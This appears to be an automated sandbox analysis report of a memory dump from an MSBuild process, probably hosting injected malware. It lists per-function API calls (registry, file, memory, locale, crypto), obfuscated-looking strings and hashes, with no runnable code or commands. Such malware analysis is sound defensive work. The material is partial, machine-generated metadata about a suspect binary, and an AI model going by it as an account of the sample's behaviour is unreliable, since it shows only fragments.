Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: n{$n{$n{$}{
API String ID: 3732870572-4154228712
Opcode ID: 012a2458ca6e2b760dfa09559ea771937154516552ed49889a7a73d748036a86
Instruction ID: 70a356f546fa94990332de3083992da1d43ecfcf38406400a452c31a5eca1b33
Opcode Fuzzy Hash: 012a2458ca6e2b760dfa09559ea771937154516552ed49889a7a73d748036a86
Instruction Fuzzy Hash: BE126FB1E002189FEB24DF65DC41BEEBBB5BF88304F1481A9E909B7391D6786E448F54

Function 004213A0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00421403

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00421448
__aulldiv.LIBCMT ref: 004215B9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,0000001C,00000000,0000000A,00000000,?,00007543,00000000), ref: 004215DF
RegCloseKey.ADVAPI32(?), ref: 00421632

Strings

j3l6lrek, xrefs: 00421707, 00421736
}{, xrefs: 00421517
n{, xrefs: 00421565
eks, xrefs: 00421649, 00421678

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek$n{$}{
API String ID: 2588155767-1069243570
Opcode ID: 09563ad5a95b247886dcb6934c89b28613dfa7d8e7b4cad3cb9ffa0144e504dd
Instruction ID: e81d9f2a62e681a176fc95b9eb4f9d49adbdfb2158cc2ffbd1ba497f8d536439
Opcode Fuzzy Hash: 09563ad5a95b247886dcb6934c89b28613dfa7d8e7b4cad3cb9ffa0144e504dd
Instruction Fuzzy Hash: A9C14C70E002189FDB14CFA4DC95BAEBBB6BF98304F14809AE409B7351DB786A85CF55

Function 00423480 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004234E3

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00423528
__aulldiv.LIBCMT ref: 00423699
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,0000001C,00000000,0000000A,00000000,?,00007543,00000000), ref: 004236BF
RegCloseKey.ADVAPI32(?), ref: 00423712

Strings

}{, xrefs: 004235F7
j3l6lrek, xrefs: 004237E7, 00423816
n{, xrefs: 00423645
eks, xrefs: 00423729, 00423758

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek$n{$}{
API String ID: 2588155767-1069243570
Opcode ID: 3bce68d90a4263cb7ec30a460abaaae95c24e061da740a7cd395a78f386f65ef
Instruction ID: f035b837488ea9a5e5f6d0955b73411dcb8dd9a79673109ba58edece1dff4817
Opcode Fuzzy Hash: 3bce68d90a4263cb7ec30a460abaaae95c24e061da740a7cd395a78f386f65ef
Instruction Fuzzy Hash: 5AC14DB0E042189FDB14CFA4DC95BAEBBB5BF88305F14809AE409B7341DB786A85CF55

Function 0053FAB6 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(0043F495,00000000,?), ref: 0053FB4E
GetLastError.KERNEL32 ref: 0053FB58
FindFirstFileW.KERNEL32(0043F495,?), ref: 0053FB6F
GetLastError.KERNEL32 ref: 0053FB7A
FindClose.KERNEL32(00000000), ref: 0053FB86
___std_fs_open_handle@16.LIBCPMT ref: 0053FC3F

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: 43d9ffe0fc118d98daf8678b01f08c4e2847e129b7e79d30486a0cddf3452ae0
Instruction ID: 6bb65691428a152813ed33e98c05f354cc686d1cc677e7c5b6f31f1ee2b87277
Opcode Fuzzy Hash: 43d9ffe0fc118d98daf8678b01f08c4e2847e129b7e79d30486a0cddf3452ae0
Instruction Fuzzy Hash: C071A074E4061AAFDB60CF28DC99BA9BBB8BF05320F144665EC55E7390DB709D84CB50

Function 004411F0 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 455memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00441384
GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,0000001C,00000000,0000000A,00000000,00007543,00000000), ref: 004413AA
GetLastError.KERNEL32(?,00007543,00000000), ref: 0044156E
GetLastError.KERNEL32(?,00007543,00000000), ref: 00441844

Strings

j3l6lrek, xrefs: 004414EA, 00441519, 00441646, 00441675
eks, xrefs: 0044142C, 0044145B, 00441588, 004415B7
n{, xrefs: 00441306

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorLast__aulldiv$AllocGlobal
String ID: eks$j3l6lrek$n{
API String ID: 2907542317-86532494
Opcode ID: a9e7a62daf1e1911f4750e31f4bf311f2c537f1cc9990f10fc5fd04e02775622
Instruction ID: f2728fd928c076160ce7229c7fb47b5e464f844c07f3019d4160c529f2ac3219
Opcode Fuzzy Hash: a9e7a62daf1e1911f4750e31f4bf311f2c537f1cc9990f10fc5fd04e02775622
Instruction Fuzzy Hash: 7D125CB1D002189FEB24DFA4CC81BEEBBB5BB44304F1481AAE509A7391D7786E85CF55

Function 004210E0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 252COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042114D

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004211CB
__aulldiv.LIBCMT ref: 00421290

Strings

n{, xrefs: 00421306
}{, xrefs: 004212B6

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: __aulldiv
String ID: n{$}{
API String ID: 3732870572-1042045087
Opcode ID: dcefab8f48aff93b722d70aa59213fa125ac14150980dc289702871d4f65ba08
Instruction ID: 39d18bead5b9f10a66183ffa85e2edf55d1113fd5e6123dae9e6ec200ec09dc3
Opcode Fuzzy Hash: dcefab8f48aff93b722d70aa59213fa125ac14150980dc289702871d4f65ba08
Instruction Fuzzy Hash: B89145B5E00204AFEB14DFA8DC45FAEB7B6FB98715F208119F909BB390D67869018B54

Function 00440600 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

__aulldiv.LIBCMT ref: 00440911

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Strings

n{, xrefs: 0044089F
j3l6lrek, xrefs: 00440A29, 00440A58
eks, xrefs: 0044096B, 0044099A
E2', xrefs: 004406FB

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake__aulldiv
String ID: E2'$eks$j3l6lrek$n{
API String ID: 2808616827-3229564020
Opcode ID: 62b9334bdbb082644ddc79b806ea4718c2d7aaabea34964606f0ecfe06114c11
Instruction ID: 078cc1524bed649119e76f08d018b24227f6144dc8b09608589f59eab186b588
Opcode Fuzzy Hash: 62b9334bdbb082644ddc79b806ea4718c2d7aaabea34964606f0ecfe06114c11
Instruction Fuzzy Hash: 19E14BB0D002589FDF14DFA5D881BEEBBB1BF58304F14819AE509A7381DB34AA85CF95

Function 0056703D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

PMDtoOffset.LIBCMT ref: 005670CF

Strings

Bad dynamic_cast!, xrefs: 00567111

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Offset
String ID: Bad dynamic_cast!
API String ID: 1587990502-2956939130
Opcode ID: 87541b39ae2e137631827bdbb6531c213785e53ea37b9727a952eb4fc2dbbd03
Instruction ID: c198e6756d8f64ed2925672eb5c0a825644f8c675b271fc4cbf9cfc7f65daa92
Opcode Fuzzy Hash: 87541b39ae2e137631827bdbb6531c213785e53ea37b9727a952eb4fc2dbbd03
Instruction Fuzzy Hash: BD515D72A04209AFDB14DF68DC85AAA7FA5FF88328F048559FD1597281E731F910CBE0

Function 00560A0D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00560D1F,00000002,00000000,?,?,?,00560D1F,?,00000000), ref: 00560AA6
GetLocaleInfoW.KERNEL32(?,20001004,00560D1F,00000002,00000000,?,?,?,00560D1F,?,00000000), ref: 00560ACF
GetACP.KERNEL32(?,?,00560D1F,?,00000000), ref: 00560AE4

Strings

OCP, xrefs: 00560A61
ACP, xrefs: 00560A2B

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ebcad332e2c7c027143238fac012b2802e9cfdeedf4e6ef925141dee2e0f086f
Instruction ID: 737a64329af9901d05e6d47917e43e6eddcbd1a901434644ddac12d22c904e0b
Opcode Fuzzy Hash: ebcad332e2c7c027143238fac012b2802e9cfdeedf4e6ef925141dee2e0f086f
Instruction Fuzzy Hash: 9F21A432600301AADB35DB94C901A977AA6FB50BD4B16A864E90AD7180F732DD40D750

Function 00560BE9 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00560CF1
IsValidCodePage.KERNEL32(00000000), ref: 00560D2F
IsValidLocale.KERNEL32(?,00000001), ref: 00560D42
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00560D8A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00560DA5

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 6fa05b6ed5c8c066af6d9efed3996fb69aedb964f4713671ad22a717301438dc
Instruction ID: 22cb3e0dd9e87ecbd21cfe83c5cdc24be9763c96d9e9ec9f10e9ac3d832f1453
Opcode Fuzzy Hash: 6fa05b6ed5c8c066af6d9efed3996fb69aedb964f4713671ad22a717301438dc
Instruction Fuzzy Hash: 35515F71A0020AAFEB10DFA5DC45AAFBBB8BF54700F145569F911E71D0EBB0AE44CB61

Function 00560274 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055A0F1: GetLastError.KERNEL32(00000000,[0U,0055D662), ref: 0055A0F5
Part of subcall function 0055A0F1: SetLastError.KERNEL32(00000000,00000000,-000927C0,00000006,000000FF), ref: 0055A197

GetACP.KERNEL32(?,?,?,?,?,?,00556036,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00560333
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00556036,?,?,?,00000055,?,-00000050,?,?), ref: 0056036A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 005604CD

Strings

utf8, xrefs: 0056043C

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: ecb3ccac4cfa858dbe3a4f9b5a5d7de6d94c895d147237c99dccbb61dcd39615
Instruction ID: 4e69425b8d219e4520d202db39861bafbfd5ed4e45ca595549d0b295037e0066
Opcode Fuzzy Hash: ecb3ccac4cfa858dbe3a4f9b5a5d7de6d94c895d147237c99dccbb61dcd39615
Instruction Fuzzy Hash: EC71F671600206ABDB24AB74CC5ABBB7BA8FF44711F14582AFA05DB1C1FB74E944C761

Function 00551F50 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb83477dee7dda99e2c52dc16635b9affcfbf6c07fcc57b076779ed2f36f92d2
Instruction ID: 6dac4ddee732b7d4fd560c4282299ef5e4eaa7d1af361af98c67a1fa7dbcbe7b
Opcode Fuzzy Hash: bb83477dee7dda99e2c52dc16635b9affcfbf6c07fcc57b076779ed2f36f92d2
Instruction Fuzzy Hash: EF027D75E002199BDF14CFA9C8906AEFBF1FF49314F25826AD919E7380D731AA05CB90

Function 0053F870 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,0041F6CD,?,00000000), ref: 0053F884
FormatMessageA.KERNEL32(00001300,00000000,?,00000000,0041F6CD,00000000,00000000,?,?,0041F6CD,?,00000000), ref: 0053F8AB

Strings

!x-sys-default-locale, xrefs: 0053F87F

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 8d23f896fec52060017de90635f926efe441123acf7e6359c8c5ca0cd7176abf
Instruction ID: 5feb17b4d3144c6e29b9d70d70cd2a686e8fde12ee576c6e14b381fd652d7c46
Opcode Fuzzy Hash: 8d23f896fec52060017de90635f926efe441123acf7e6359c8c5ca0cd7176abf
Instruction Fuzzy Hash: 52F03075A10105FFFB089B95DC0ADAFBFACEB09350F004425FA41D6150E2B0AE009770

Function 0051BF40 Relevance: 1.5, APIs: 1, Instructions: 15encryptionCOMMONLIBRARYCODE

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000,?,?,0051C01B,?,?,0051C2A9,?,?,00000000), ref: 0051BF57

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: f9b635a93ecc002a1bf170f21b2ce76f99476a57f023ad9c16b366c1ea81e3d6
Instruction ID: a82b3b65d1cdc796cf0cca9e36ff940df0c3b62234f5b940ffd2361d736de0be
Opcode Fuzzy Hash: f9b635a93ecc002a1bf170f21b2ce76f99476a57f023ad9c16b366c1ea81e3d6
Instruction Fuzzy Hash: 0ED05E74508208EBD704CB88D844F5A77B9EB45300F100198E80897390C7715E40EA90

Function 0042CEA0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9198fcdca9e424432a3a8203766c5c8cfaab3a57559baf0a43973d3f4d59e08d
Instruction ID: c16b9477e39db41abb06177a582d1fb9cc34123ff8719f24c64ea6a20d769a31
Opcode Fuzzy Hash: 9198fcdca9e424432a3a8203766c5c8cfaab3a57559baf0a43973d3f4d59e08d
Instruction Fuzzy Hash: 15E0C934901208EBCB14DFA4E84979DBBB5FB1C355F4052A6EC04A3360D7349988EB81

Function 00544C22 Relevance: 70.4, APIs: 11, Strings: 29, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00544C95
shared_ptr.LIBCMT ref: 00544CDD
shared_ptr.LIBCMT ref: 00544CFC
operator+.LIBVCRUNTIME ref: 00544E2A
DName::operator=.LIBVCRUNTIME ref: 00544E3C
shared_ptr.LIBCMT ref: 00545081
DName::operator+.LIBCMT ref: 005450C3
operator+.LIBVCRUNTIME ref: 00545109

Strings

char, xrefs: 00544C80
this , xrefs: 00545009
wchar_t, xrefs: 00544FD3
__int128, xrefs: 00544E63
short, xrefs: 00544C9F
char32_t, xrefs: 00544FC7
unsigned , xrefs: 005450A2
const, xrefs: 00544F2D
__int32, xrefs: 00544E82
__w64 , xrefs: 00544E18
volatile, xrefs: 00544F6B
char8_t, xrefs: 00544FAF
auto, xrefs: 00544FDF
char16_t, xrefs: 00544FBB
long, xrefs: 00544CBF
volatile, xrefs: 00544F4B
__int64, xrefs: 00544E76
signed , xrefs: 00544D8A
long , xrefs: 00544CEA
float, xrefs: 00544CC8
__int8, xrefs: 00544DF7
UNKNOWN, xrefs: 0054506C
void, xrefs: 00544D25
double, xrefs: 00544D04
decltype(auto), xrefs: 00544FEB
bool, xrefs: 00544E8E
int, xrefs: 00544CAF
__int16, xrefs: 00544DEB
<unknown>, xrefs: 00544F9C

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 1464150960-1482988683
Opcode ID: 97d89e91f73edd29426c38dfb520c3a0690f1fee51e02e2ca597e152d1bbdcd5
Instruction ID: a74152ec3fe6cbcdd6e66ed103a54149bf6b53857fb999c1198e7a9fbac2c6eb
Opcode Fuzzy Hash: 97d89e91f73edd29426c38dfb520c3a0690f1fee51e02e2ca597e152d1bbdcd5
Instruction Fuzzy Hash: 2AE17BB5D0420ADBCB04DFA4C49DAFEBFB8BB08308F10855AD515A7252E7755B09CFA1

Function 00548502 Relevance: 30.0, APIs: 10, Strings: 7, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005485D8
UnDecorator::getSignedDimension.LIBCMT ref: 005485E3
UnDecorator::getSignedDimension.LIBCMT ref: 005486CF
UnDecorator::getSignedDimension.LIBCMT ref: 005486EC
UnDecorator::getSignedDimension.LIBCMT ref: 00548709
DName::operator+.LIBCMT ref: 0054871E
UnDecorator::getSignedDimension.LIBCMT ref: 00548738
_swprintf.LIBCMTD ref: 005487B2
DName::operator+.LIBCMT ref: 0054880D

Part of subcall function 00544647: DName::DName.LIBVCRUNTIME ref: 005446A5

DName::DName.LIBVCRUNTIME ref: 00548884

Strings

`generic-class-parameter-, xrefs: 00548819
NULL, xrefs: 00548596
lambda, xrefs: 0054886D
`generic-method-parameter-, xrefs: 005487E9
`template-type-parameter-, xrefs: 00548829
nullptr, xrefs: 0054884D
uS, xrefs: 0054877F

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$_swprintf
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr$uS
API String ID: 138750261-172234052
Opcode ID: c09677eac4ef41ca6d02165598f8bd20fa768965569d5f17ee708976b6763b84
Instruction ID: 021091b49bba7b252cf704cfd7151fae3891600384b2777c9651b7b3d27b4641
Opcode Fuzzy Hash: c09677eac4ef41ca6d02165598f8bd20fa768965569d5f17ee708976b6763b84
Instruction Fuzzy Hash: 0391D771C0410BAACB19EBB4DC9EAFE7F78FB5530CF64491AF102A6191DF759A088760

Function 0054647A Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 332COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00546543
DName::operator+.LIBCMT ref: 00546580
DName::DName.LIBVCRUNTIME ref: 00546594
DName::operator+.LIBCMT ref: 005465A3
DName::operator+.LIBCMT ref: 00546631
DName::DName.LIBVCRUNTIME ref: 00546659
DName::operator+.LIBCMT ref: 00546667
DName::operator+.LIBCMT ref: 005466A1
DName::operator+.LIBCMT ref: 005466E2
UnDecorator::getReturnType.LIBCMT ref: 00546712
operator+.LIBVCRUNTIME ref: 00546814

Strings

QuT, xrefs: 0054664A, 00546758

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID: QuT
API String ID: 2932655852-2893120971
Opcode ID: aa5c678fd647dcf6112b951906b66b392665429131e56a6cc116a9c5b71ca7c4
Instruction ID: 40c04e3d1db91fb46bc78a55f4f1d36e9028165b5c24f5072f060e2fdb628973
Opcode Fuzzy Hash: aa5c678fd647dcf6112b951906b66b392665429131e56a6cc116a9c5b71ca7c4
Instruction Fuzzy Hash: 89C1747190020AAFCF18EFA4D89AEEE7FB4FB59308F14055EF502A7291DB309A45CB51

Function 00547A0C Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00547A77
DName::operator+.LIBCMT ref: 00547BBA

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

DName::operator+.LIBCMT ref: 00547B65
DName::operator+.LIBCMT ref: 00547C06
DName::operator+.LIBCMT ref: 00547C15
DName::operator+.LIBCMT ref: 00547D41
DName::operator=.LIBVCRUNTIME ref: 00547D81
DName::DName.LIBVCRUNTIME ref: 00547D8B
DName::operator+.LIBCMT ref: 00547DA8
DName::operator+.LIBCMT ref: 00547DB4

Part of subcall function 005492A6: Replicator::operator[].LIBCMT ref: 005492E3

Strings

`anonymous namespace', xrefs: 00547CC6

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]shared_ptr
String ID: `anonymous namespace'
API String ID: 1043660730-3062148218
Opcode ID: 0f7e5eadeec7c73baec595136142c1ea2ac402a727c1d1c48eb2e3fc8fd16696
Instruction ID: 6843d477c8b208dc43977378a45748e64898de071f3448f0418aadddbe310b70
Opcode Fuzzy Hash: 0f7e5eadeec7c73baec595136142c1ea2ac402a727c1d1c48eb2e3fc8fd16696
Instruction Fuzzy Hash: 5CC1DFB1D04209AFDB24DFA4D849BEABFF8BF59308F10445DE546A7291EB709A48CF50

Function 005492A6 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 005492E3

Strings

template-parameter-, xrefs: 00549342
@, xrefs: 0054944F
generic-type-, xrefs: 00549369
`generic-type-, xrefs: 0054937F
q[T, xrefs: 00549335
`template-parameter-, xrefs: 00549354
uS, xrefs: 005493DF
q[T, xrefs: 005493F3

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Replicator::operator[]
String ID: @$`generic-type-$`template-parameter-$generic-type-$q[T$q[T$template-parameter-$uS
API String ID: 3676697650-742058369
Opcode ID: b266f6adf8963ed7613a7b2dc4edef15d4e769120d7c20883a63c0eb00490105
Instruction ID: 9bd8cd0364fcd6040279b2118463d8ac451244748b86cd66e3e79245c58435c9
Opcode Fuzzy Hash: b266f6adf8963ed7613a7b2dc4edef15d4e769120d7c20883a63c0eb00490105
Instruction Fuzzy Hash: 9F61C171D00209AFCB04DFA4D847AEFBFB8BF59318F104419EA41B72A1DB749A09CB90

Function 00545E90 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00545EC3

Part of subcall function 00543668: DName::operator+=.LIBCMT ref: 0054367E

Strings

struct , xrefs: 00545FED
enum , xrefs: 00545FB0
`unknown ecsu', xrefs: 00545EA5
class , xrefs: 00545FE4
coclass , xrefs: 00545F94
cointerface , xrefs: 00545F84
union , xrefs: 00545FFD

Memory Dump Source

Source File: 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Name::operator+Name::operator+=
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 382699925-1464470183
Opcode ID: 473e3c2c5b1e2201093a62a7d299851f12027e8a28ddcf34f3fdd1df78b34682
Instruction ID: 6ccd90e75c1b1aeb9ad282851621d9e62252c9fd983164f84b91e6e55c845f1b
Opcode Fuzzy Hash: 473e3c2c5b1e2201093a62a7d299851f12027e8a28ddcf34f3fdd1df78b34682
Instruction Fuzzy Hash: B6416CB1D0020AABCF04DFA8D889AEEBFF4BF45308F104519E505B7351EB719A48DB91

Function 00540110 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,0041F86B,00000000,00000000,2BFA49FB,?,?,?,Function_00140780,00588468,000000FE,?,0041F869,00000001), ref: 00540199
MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,?,00000000,00000000,?,Function_00140780,00588468,000000FE,?,0041F869), ref: 00540214
SysAllocString.OLEAUT32(00000000), ref: 0054021F
_com_issue_error.COMSUPP ref: 00540248
_com_issue_error.COMSUPP ref: 00540252
GetLastError.KERNEL32(80070057,2BFA49FB,?,?,?,Function_00140780,00588468,000000FE,?,0041F869,00000001), ref: 00540257
_com_issue_error.COMSUPP ref: 0054026A
GetLastError.KERNEL32(00000000,?,?,?,Function_00140780,00588468,000000FE,?,0041F869,00000001), ref: 00540280
_com_issue_error.COMSUPP ref: 00540293
